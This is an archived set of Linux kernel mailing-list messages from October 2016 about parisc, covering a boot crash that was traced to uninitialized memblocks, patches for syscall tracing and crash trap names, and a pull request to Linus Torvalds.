> >  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
> >  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
> > Total Memory: 2046 MB
> 
> 2046 MB ???
> That's strange, it should be 2048 MB.
> 
> Can you check in your firmware "service" or "Configuration" menu, if it 
> reports some entries in your PDT (Page Deallocation Table) ?
> What happens if you clean the PDT entries (see firmware menu) and boot again?

Service Menu: Enter command > pdt

PAGE DEALLOCATION TABLE INFORMATION

   Location      Address       Type        Perm  Page  
   ------------  ------------  ----------  ----  ---------

   No Entries in Page Deallocation Table 

   PDT Entries Used: 0
   PDT Entries Free: 3000
   PDT Total Size:   3000

Seems it is not PDT?

-- 
Meelis Roos (mroos@linux.ee)


From - Thu Nov 08 21:39:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Marcin Nowakowski <marcin.nowakowski-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 11/11] parisc/tracing: fix compat syscall handling
Date: Tue, 11 Oct 2016 12:42:56 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <1476182576-15247-12-git-send-email-marcin.nowakowski@imgtec.com>
References: <1476182576-15247-1-git-send-email-marcin.nowakowski@imgtec.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1476182642 20480 195.159.176.226 (11 Oct 2016 10:44:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Oct 2016 10:44:02 +0000 (UTC)
Cc: <linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <luto-kltTT9wpgjJwATOyAt5JVQ@public.gmane.org>,
        <rostedt-nx8X9YLhiw1AfugRpC6u6w@public.gmane.org>,
        Marcin Nowakowski <marcin.nowakowski-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
        Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "Helge Deller" <deller-Mmb7MZpHnFY@public.gmane.org>, <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 11 12:43:57 2016
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1btuXE-0004Az-WD
	for glka-linux-api@m.gmane.org; Tue, 11 Oct 2016 12:43:49 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1753189AbcJKKnT (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
        Tue, 11 Oct 2016 06:43:19 -0400
Original-Received: from mailapp02.imgtec.com ([217.156.133.132]:23799 "EHLO
        mailapp01.imgtec.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751966AbcJKKnR (ORCPT
        <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 11 Oct 2016 06:43:17 -0400
Original-Received: from HHMAIL03.hh.imgtec.org (unknown [10.44.0.21])
        by Forcepoint Email with ESMTPS id B0A00F95686DE;
        Tue, 11 Oct 2016 11:43:12 +0100 (IST)
Original-Received: from HHMAIL01.hh.imgtec.org (10.100.10.19) by HHMAIL03.hh.imgtec.org
 (10.44.0.21) with Microsoft SMTP Server (TLS) id 14.3.294.0; Tue, 11 Oct 2016
 11:43:15 +0100
Original-Received: from WR-NOWAKOWSKI.kl.imgtec.org (10.80.2.5) by
 HHMAIL01.hh.imgtec.org (10.100.10.21) with Microsoft SMTP Server (TLS) id
 14.3.294.0; Tue, 11 Oct 2016 11:43:14 +0100
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1476182576-15247-1-git-send-email-marcin.nowakowski-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
X-Originating-IP: [10.80.2.5]
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:21596 gmane.linux.kernel:2324536 gmane.linux.ports.parisc:26998
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/21596>

Add missing arch code - arch_trace_is_compat_syscall and
arch_syscall_addr

Signed-off-by: Marcin Nowakowski <marcin.nowakowski-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Cc: Steven Rostedt <rostedt-nx8X9YLhiw1AfugRpC6u6w@public.gmane.org>
Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
---
 arch/parisc/include/asm/ftrace.h | 10 ++++++++++
 arch/parisc/kernel/Makefile      |  1 +
 arch/parisc/kernel/ftrace.c      | 15 +++++++++++++++
 3 files changed, 26 insertions(+)

diff --git a/arch/parisc/include/asm/ftrace.h b/arch/parisc/include/asm/ftrace.h
index d635c6b..0b54385 100644
--- a/arch/parisc/include/asm/ftrace.h
+++ b/arch/parisc/include/asm/ftrace.h
@@ -12,6 +12,16 @@ extern unsigned long return_address(unsigned int);
 
 #define ftrace_return_address(n) return_address(n)
 
+#if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_COMPAT)
+#include <linux/compat.h>
+
+#define ARCH_COMPAT_SYSCALL_NUMBERS_OVERLAP 1
+static inline bool arch_trace_is_compat_syscall(struct pt_regs *regs)
+{
+	return in_compat_syscall();
+}
+#endif /* CONFIG_FTRACE_SYSCALLS && CONFIG_COMPAT */
+
 #endif /* __ASSEMBLY__ */
 
 #endif /* _ASM_PARISC_FTRACE_H */
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 69a1118..7d1fd39 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -31,3 +31,4 @@ obj64-$(CONFIG_AUDIT)	+= compat_audit.o
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o $(obj64-y)
 obj-$(CONFIG_FUNCTION_TRACER)		+= ftrace.o
 obj-$(CONFIG_FUNCTION_GRAPH_TRACER)	+= ftrace.o
+obj-$(CONFIG_FTRACE_SYSCALLS)	+= ftrace.o
diff --git a/arch/parisc/kernel/ftrace.c b/arch/parisc/kernel/ftrace.c
index 5a5506a..41db7ca 100644
--- a/arch/parisc/kernel/ftrace.c
+++ b/arch/parisc/kernel/ftrace.c
@@ -56,6 +56,7 @@ static void __hot prepare_ftrace_return(unsigned long *parent,
 }
 #endif /* CONFIG_FUNCTION_GRAPH_TRACER */
 
+#ifdef CONFIG_FUNCTION_TRACER
 void notrace __hot ftrace_function_trampoline(unsigned long parent,
 				unsigned long self_addr,
 				unsigned long org_sp_gr3)
@@ -85,4 +86,18 @@ void notrace __hot ftrace_function_trampoline(unsigned long parent,
 	}
 #endif
 }
+#endif /* CONFIG_FUNCTION_TRACER */
+#if (defined CONFIG_FTRACE_SYSCALLS) && (defined CONFIG_64BIT)
+extern const unsigned int sys_call_table64[];
 
+unsigned long __init arch_syscall_addr(int nr, bool compat)
+{
+#ifdef CONFIG_COMPAT
+	if (compat)
+		return (unsigned long)sys_call_table[nr];
+#endif /* CONFIG_COMPAT */
+
+	return (unsigned long)sys_call_table64[nr];
+}
+
+#endif /* CONFIG_FTRACE_SYSCALLS && CONFIG_64BIT */
-- 
2.7.4


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: parisc crash on boot with 4.8+git
Date: Tue, 11 Oct 2016 20:40:02 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20161011184002.GA1363@p100.box>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee>
 <57F96010.1040309@gmx.de>
 <alpine.LRH.2.20.1610091032210.12761@math.ut.ee>
 <57FA089F.1020301@gmx.de>
 <alpine.LRH.2.20.1610092356270.32571@math.ut.ee>
 <57FAA079.5010502@gmx.de>
 <alpine.LRH.2.20.1610100857110.32571@math.ut.ee>
 <57FBA9F1.6000009@gmx.de>
 <alpine.LRH.2.20.1610101925320.14896@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1476211637 4581 195.159.176.226 (11 Oct 2016 18:47:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Oct 2016 18:47:17 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Linux Kernel list <linux-kernel@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 11 20:47:13 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bu24n-0007Pu-NW
	for glk-linux-kernel-3@m.gmane.org; Tue, 11 Oct 2016 20:46:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754350AbcJKSq4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 11 Oct 2016 14:46:56 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50675 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752387AbcJKSqz (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 11 Oct 2016 14:46:55 -0400
Original-Received: from p100.box ([92.203.30.184]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MCcOw-1blkFL2txC-009QwU; Tue, 11 Oct 2016 20:40:05
 +0200
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.20.1610101925320.14896@math.ut.ee>
X-Provags-ID: V03:K0:It+5ODvpu33dKznCl0JH1za2jp63taU9vmbdPebrUa01ppQaBHW
 4AC/2rv/Rco1WFHkRwicz5gGC618cN1Lk1DmwHgAcCUHdtd8N/Fc6ZNJaUpt4XPVfnW+LXV
 lXOLKO7Qb7HbVrfDNbZ8j39XcXSUzI/FChaooMvpjBwzNq5WCHMd2Mzrohj/fXT7wCJjD0z
 ZFOm7Tbz0S46iiB8UELrw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0DYz2ZdLkck=:2xNvdLTy0R0UbGqQxxxnjY
 HebzPhdd52CPsCTqIDileyZ6NgU2fXhFKA9UCr2zlpy0c6iHzlO82vo3s2NLVC+0SyGYHMQsr
 zaLix+c8VoXI7+JLFp9AXYkGjvrgU90M60j3UuWSwjEvUPVK2LrcUg5m2O6pwdnDfTlI72GD4
 G3H+Je0T4on9EIkbHLxlBxz8rAnvM1rzHe4ireoApzaXLRnETMZk1otyCBdpcW/44Bs/xatbV
 x7SRd7I7jw7kqs9Ht0YRzxa7N4EDEVV9kPYmjFpgYwVDPbxyvjrtscTHXLG6YX5lNt1ozeVal
 d0ITkeNKpGH/XBY88zqQwhdT5aUhXa4lR7DuDbekiRgE34YBDYOKWnkREblznXPNDRK3BLkRb
 BGGeis0Daj0fsLNhnIs+C/7csjgrWt77tlTlS6THpi5HMKN13jwTwdhJOB51sYQcUAZXIl4Oz
 XAzhWi4zUysN4+8G6dtjWV6md9MgMN7h+zV6ErzaehH88sJYTXna8THlNedG54jRqUig95ygw
 34h1DcrZd5bkrdQy7rZlQRlhx/COlGDGa+GhYpD7K8aFdx0PK09dAGtXT8NqjL2OWQl3YzWcz
 cUdRAhdR6MQ5mavaIM/4Sl2P7QfqpZYBwKF9U6LKzNNE2m0egxvNxy1wnO9MtM4PtpIrHBi6f
 3sbFH4xtQmjL6CLnu46JgDQtlFBWgb3C8rh116DFk9H75P2QpybcEZ5AvFTvdSQMhuATIzhBc
 T3GUGll6TJKtnh0dTbX2s2e6N9a1Md6Mj3qDI0/JUDlSjOoSdGLA2eDr6N4=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2324954 gmane.linux.ports.parisc:26999
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2324954>

* Meelis Roos <mroos@linux.ee>:
> > > Memory Ranges:
> > >  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
> > >  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
> > > Total Memory: 2046 MB

Meelis and myself debugged the crash off-list.
It turns out, that I missed to zero-initialize the new memblocks.
Patch below fixes this.

Helge

------------
parisc: Zero-initialize newly alloced memblock

Commit 4fe9e1d957e4 ("parisc: Drop bootmem and switch to memblock")
switched to the memblock allocator, but missed to zero-initialize the
newly allocated memblocks. This lead to crashes on some machines like
the rp3410.

Fixes: 4fe9e1d957e4 ("parisc: Drop bootmem and switch to memblock")
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 356f384..62ac801 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -105,6 +105,8 @@ static void * __init get_memblock(unsigned long size)
 	else
 		panic("get_memblock() failed.\n");
 
+	memset(__va(phys), 0, size);
+
 	return __va(phys);
 }
 


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Show trap name in kernel crash
Date: Tue, 11 Oct 2016 20:49:42 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20161011184942.GA4645@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1476211881 15410 195.159.176.226 (11 Oct 2016 18:51:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Oct 2016 18:51:21 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 11 20:51:16 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bu28a-0000dN-Kk
	for glpp-linux-parisc@m.gmane.org; Tue, 11 Oct 2016 20:50:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753671AbcJKSt7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 11 Oct 2016 14:49:59 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:51591 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753699AbcJKStz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 11 Oct 2016 14:49:55 -0400
Original-Received: from p100.box ([92.203.30.184]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LmrUq-1bDGFi0Gku-00h9P5; Tue, 11 Oct 2016 20:49:46
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:HlL0MN+DKpm3CcTNfwxCi3FORrDTK9ZE3H4yMyCpwOFkYhoeLsH
 fc9V0uE15tCDrCsStD5xyHuocjS0f9SgRbYegesf3lM7rA7BhQ/AfE2iZ4wjMYgPa8HpGNx
 GP8jjrYzB4Ax32sbqp3j4A+qcbmUQFvRY7SooMbghSrA0OE8kM5CvzYTs5jnMOb9n08onyh
 c8C2xCQbiI1Qs9OYvZYvA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:z62nO/7hDfk=:YNyqshHbX/ORVxVKvyac5Y
 IDTQS4lko59GtkZRt+QauOtL/ytU4CvASvcqvREvDmGnjklaYUJ73wxK49CY8OX/pNHdxIV27
 zM+1wEpbh2W0QxPknU1SfGxkvQ3UBPF5Vi23YX8lbveRR18RUounPBHcZYl/XHwmcutGkRUHW
 f2ZSFjR25P1wsIx7vrkCrXN1coBee1s5VXBoQLKKtyqycAq+zSvm1Ea8L2tdfpVwgS1yWAZbi
 qAkaCvvb/zo+9BbbJWje/YaifHpJ4+w1unVX28x5gKkdKliRf6N7YcsOwgDXfuhNhZVoio7uy
 d8LY/22Cngj7lHT3FhJrkLsDzICJ7NoFIO6y+ha5+x3lWqiX+MHFRcxUJTF2Mq1prxqQx90RZ
 ytc+QFXrF3OrtOnO5GiMeMumb9IDC88zFqs5GUts4Ft+4QHsGAClrOmC6juJ+6tNRctGSRL9V
 FA7AokLU0FFnCjCtY6HU0kbcdF64xuZzvhwKzhRBE1ENLz4yhW6HQFFcXuwsWx++p4OSWCAZf
 eimDZvUoCpFEwO4WI+JMdNTzx3ylywOJ02dHXKYQq1B32r5/NsEe8xM+7/fVOM6bqR3J+gtO0
 1esKcMM0R62bJLnGR96RGocb+D+bCx5tAaE/35VMfiaEOtgsCJoU811ITnEQmphp4iGVb+3s2
 ESAETsFAEO0DmaggjBfyLYqSiheARF5uTVm5F+WAqFcOXu7oQBCIq6FyAI+Rgt7INUIn/yidm
 XIac0UlJtiQK8FQbXuM+MKkqX/3FuK+9LOWEHLWfUcuAoQIE3EeUNHUzWz8=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27000>

Show the real trap name when the kernel crashes.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/traps.h b/arch/parisc/include/asm/traps.h
index 5e953ab..6367023 100644
--- a/arch/parisc/include/asm/traps.h
+++ b/arch/parisc/include/asm/traps.h
@@ -11,6 +11,7 @@ void parisc_terminate(char *msg, struct pt_regs *regs,
 void die_if_kernel(char *str, struct pt_regs *regs, long err);
 
 /* mm/fault.c */
+const char *trap_name(unsigned long code);
 void do_page_fault(struct pt_regs *regs, unsigned long code,
 		unsigned long address);
 #endif
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 97d6b20..378df92 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -458,8 +458,8 @@ void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long o
 	}
 
 	printk("\n");
-	printk(KERN_CRIT "%s: Code=%d regs=%p (Addr=" RFMT ")\n",
-			msg, code, regs, offset);
+	pr_crit("%s: Code=%d (%s) regs=%p (Addr=" RFMT ")\n",
+		msg, code, trap_name(code), regs, offset);
 	show_regs(regs);
 
 	spin_unlock(&terminate_lock);
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index d64f1c8..8ff9253 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -204,6 +204,16 @@ static const char * const trap_description[] = {
 	[28] "Unaligned data reference trap",
 };
 
+const char *trap_name(unsigned long code)
+{
+	const char *t = NULL;
+
+	if (code < ARRAY_SIZE(trap_description))
+		t = trap_description[code];
+
+	return t ? t : "Unknown trap";
+}
+
 /*
  * Print out info about fatal segfaults, if the show_unhandled_signals
  * sysctl is set:
@@ -213,8 +223,6 @@ show_signal_msg(struct pt_regs *regs, unsigned long code,
 		unsigned long address, struct task_struct *tsk,
 		struct vm_area_struct *vma)
 {
-	const char *trap_name = NULL;

From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes for v4.9-rc1
Date: Tue, 11 Oct 2016 22:24:17 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20161011202417.GA3684@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1476217477 10952 195.159.176.226 (11 Oct 2016 20:24:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Oct 2016 20:24:37 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 11 22:24:33 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bu3bD-0005ua-JU
	for glk-linux-kernel-3@m.gmane.org; Tue, 11 Oct 2016 22:24:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752797AbcJKUYc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 11 Oct 2016 16:24:32 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:56159 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752463AbcJKUYa (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 11 Oct 2016 16:24:30 -0400
Original-Received: from p100.box ([92.203.30.184]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0M92lh-1bhiJs1YJJ-00CQRA; Tue, 11 Oct 2016 22:24:21
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:rjKTiELO1wYxdvxX1vUSlnq9tbrQq5huKpYf9EVhCHQUmee2Xxu
 Z0MDO+zLHx/iEG2223M/4T+XmWR4ha6x5XqGsFrRPPi1UXOwuLOiiH518vkvOoAwhCVYJLR
 NzgfDleX6jBABceppAo+u8CsQ4TwA2kkOByMK4NSsuH7VYEfwrjVyhQZU6JE1iNt1ZIt1Gz
 GqJYJS+RVdzX/AUbe4u4w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NFPlHSv75/k=:dRApkONqmE6ESWKjc5dKqx
 RwTBwkSfspnuLz9tB5vYGtXHtB4a5ixCW3tG7hcbzlTgzpNuVj+USUBdnNLYSYWs+NPHkNAZ4
 sEsi9vebxKG/+z9vN95xt+fcXV3tAfefUN2BNtIfGRrVZKvbLuiiuLFyOFV+AwzM9EiFk1OY5
 OLCBZE3k20Bl3lCXQF8eOjlSartZMdA3UT/T04LOAsarsxNchccdrpUb5eljRSALjuy99j82i
 B1ELkfv6LvzeAbJWS/HCqD5Ze4h2oc3ku48X4KJPQoDR3NIm/Eotv5RdvL4BsCsBQxRIdk3Oi
 U+NDD5XwZRIBgB01Sc1DIXYjK6JbuBZejjDygOyNd4yY73pR6Bie4PGFszrwu7QCu6Ho+4+go
 zwQ2qaDi3uVwY6nocQu9znP2Zf+PBUu6qs3qIZITm0SJ0J8FpemgfT6SD6KcmBaqYhy8hwzz1
 PE6uVtDCbQ9TGGSL7AsppshaArUSrJnisd4eXqQTsO8bCZUyT2Wg+xXYmbRkcsGt640bqjZMd
 XHwZzbwGtX9bGv5V1wwSVSFZDcVM/d8V/pqxmOwMKIZIw9vBZL9lFqvHJLS+sGZYozvSAr6cT
 ENj8LAUaSrelBglHg7+0N9F8xFxMYWUP5myQiQOkenDyOA++8/ZCvBgo1NQvUfSSk8/QzyNys
 ML0rLmuAqrIkFOTsMvm5dWGlEr8jJBWO+O8VoF0JSjRm1VUli2v94DZoqOVw4NAl7pH8AX6vY
 PiU6Xk7pKmtsvoGpROPArD76k/J9fBIHja0o3qxV428/1S7xTPbMLq4j278=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2324989 gmane.linux.ports.parisc:27001
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2324989>

Hi Linus,

please pull some final updates and fixes for this merge window for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.9-2

Changes include:
 
- Fix boot problems with new memblock allocator on rp3410 machine

- Increase initial kernel mapping size for 32- and 64-bit kernels, this allows
  to boot bigger kernels which have many modules built-in

- Fix kernel layout regarding __gp and move exception table into RO section

- Show trap names in crashes, use extable.h header instead of module.h

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (5):
      parisc: Increase initial kernel mapping size
      parisc: Fix kernel memory layout regarding position of __gp
      parisc: Move exception table into read-only section
      parisc: Zero-initialize newly alloced memblock
      parisc: Show trap name in kernel crash

Paul Gortmaker (1):
      parisc: Migrate exception table users off module.h and onto extable.h

 arch/parisc/include/asm/pgtable.h |  6 +++---
 arch/parisc/include/asm/traps.h   |  1 +
 arch/parisc/kernel/traps.c        |  4 ++--
 arch/parisc/kernel/vmlinux.lds.S  | 14 +++++++++-----
 arch/parisc/mm/fault.c            | 19 ++++++++++++-------
 arch/parisc/mm/init.c             |  2 ++
 6 files changed, 29 insertions(+), 17 deletions(-)


From - Thu Nov 08 21:39:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: timekeeping: Cycle offset (32) is larger than allowed by the
 'jiffies' clock's max_cycles value (10): time overflow danger
Date: Wed, 12 Oct 2016 23:22:30 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <57FEA996.3030004@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1476307434 8159 195.159.176.226 (12 Oct 2016 21:23:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 12 Oct 2016 21:23:54 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
To: "john.stultz@linaro.org" <john.stultz@linaro.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 12 23:23:48 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1buQzx-0008Ta-M0
	for glpp-linux-parisc@m.gmane.org; Wed, 12 Oct 2016 23:23:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752170AbcJLVXb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 12 Oct 2016 17:23:31 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:58777 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751969AbcJLVXa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 12 Oct 2016 17:23:30 -0400
Original-Received: from [192.168.20.60] ([92.203.6.121]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LhOSG-1b7skq0BdI-00maBo; Wed, 12 Oct 2016 23:22:32
 +0200
X-Enigmail-Draft-Status: N1110
X-Provags-ID: V03:K0:SNhRZIrKD4N3iSAkJCwnfPSUF3mrEZ7oK/FCOkO/bXheYE3IlnO
